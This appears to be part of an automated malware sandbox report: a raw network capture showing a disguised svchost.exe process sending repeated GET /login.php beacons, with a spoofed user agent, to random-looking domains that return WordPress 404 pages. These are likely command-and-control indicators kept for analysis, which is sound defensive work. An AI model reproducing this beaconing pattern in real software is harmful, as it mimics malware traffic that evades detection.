                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC1369INData Raw: 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53
                                                                                                                                                                                                                    Data Ascii: fined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JS
                                                                                                                                                                                                                    2024-11-11 17:50:09 UTC1369INData Raw: 7d 29 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66
                                                                                                                                                                                                                    Data Ascii: }).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minif


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    14192.168.2.450167188.114.96.34437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:50:10 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:50:10 UTC955INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:10 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                    link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RHIjctjCT1ooN2NS%2FaY%2BBABVzfptb9%2FIc%2FF%2ByWyMvb2nZEupw4ESPK1litZ4LyT01dUu1JCmG%2Bq9SJVICbqBEVvWkTnVU5x5wFlDD1z4if8t8JRkZa%2FWUwL0SLsbbw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101f810afb6a53-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1352&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=2129411&cwnd=251&unsent_bytes=0&cid=15f7e65e4ce5301f&ts=971&x=0"
                                                                                                                                                                                                                    2024-11-11 17:50:10 UTC414INData Raw: 37 63 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                                    Data Ascii: 7ca2<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                                    2024-11-11 17:50:10 UTC1369INData Raw: 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74
                                                                                                                                                                                                                    Data Ascii: </style><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><met
                                                                                                                                                                                                                    2024-11-11 17:50:10 UTC1369INData Raw: 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63
                                                                                                                                                                                                                    Data Ascii: function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.c
                                                                                                                                                                                                                    2024-11-11 17:50:10 UTC1369INData Raw: 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a
                                                                                                                                                                                                                    Data Ascii: efined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=J
                                                                                                                                                                                                                    2024-11-11 17:50:10 UTC1369INData Raw: 7b 7d 29 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69
                                                                                                                                                                                                                    Data Ascii: {}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/mini
                                                                                                                                                                                                                    2024-11-11 17:50:10 UTC1369INData Raw: 20 2e 73 69 74 65 2d 64 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b
                                                                                                                                                                                                                    Data Ascii: .site-description{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    15192.168.2.450170188.114.96.34437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:50:12 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lysyvan.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:50:13 UTC1090INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:13 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                    link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                    server-timing: amp_sanitizer;dur="44.8",amp_style_sanitizer;dur="20.8",amp_tag_and_attribute_sanitizer;dur="18.2",amp_optimizer;dur="19.8"
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aJw0g02yj%2FJ9%2B62%2BpA7rE7RPCpX7X6DZ0uZqcg1LuVrRSfbGYitOAEtExUUfCeEmbpM6QQTZlu%2FvgDomcDPsaeizSuuqzhMxuFy7VEctMMFN6mt6LALJSiWFh8Jm7Q%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101f8f28e832ee-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1634&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=1672055&cwnd=249&unsent_bytes=0&cid=ceaf4dcdc445d5bb&ts=1643&x=0"
                                                                                                                                                                                                                    2024-11-11 17:50:13 UTC279INData Raw: 37 63 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
                                                                                                                                                                                                                    Data Ascii: 7c1c<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
                                                                                                                                                                                                                    2024-11-11 17:50:13 UTC1369INData Raw: 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68 74 3a 31
                                                                                                                                                                                                                    Data Ascii: rset="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie{height:1
                                                                                                                                                                                                                    2024-11-11 17:50:13 UTC1369INData Raw: 6c 69 6e 67 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 7b
                                                                                                                                                                                                                    Data Ascii: ling:touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbox]{
                                                                                                                                                                                                                    2024-11-11 17:50:13 UTC1369INData Raw: 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 2d 74
                                                                                                                                                                                                                    Data Ascii: 100%!important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:first-of-t
                                                                                                                                                                                                                    2024-11-11 17:50:13 UTC1369INData Raw: 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73
                                                                                                                                                                                                                    Data Ascii: html-layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;pos
                                                                                                                                                                                                                    2024-11-11 17:50:13 UTC1369INData Raw: 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a
                                                                                                                                                                                                                    Data Ascii: ay:none!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:absolute;top:
                                                                                                                                                                                                                    2024-11-11 17:50:13 UTC1369INData Raw: 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68
                                                                                                                                                                                                                    Data Ascii: :not(.i-amphtml-layout-container)>*,[layout]:not([layout=container]):not(.i-amphtml-element)>*,[width][height][heights]:not([layout]):not(.i-amphtml-element)>*,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>*{display:none}amp-img:not(.i-amph


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    16192.168.2.450172188.114.96.34437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:50:14 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lysyvan.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:50:16 UTC1092INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:16 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                    link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
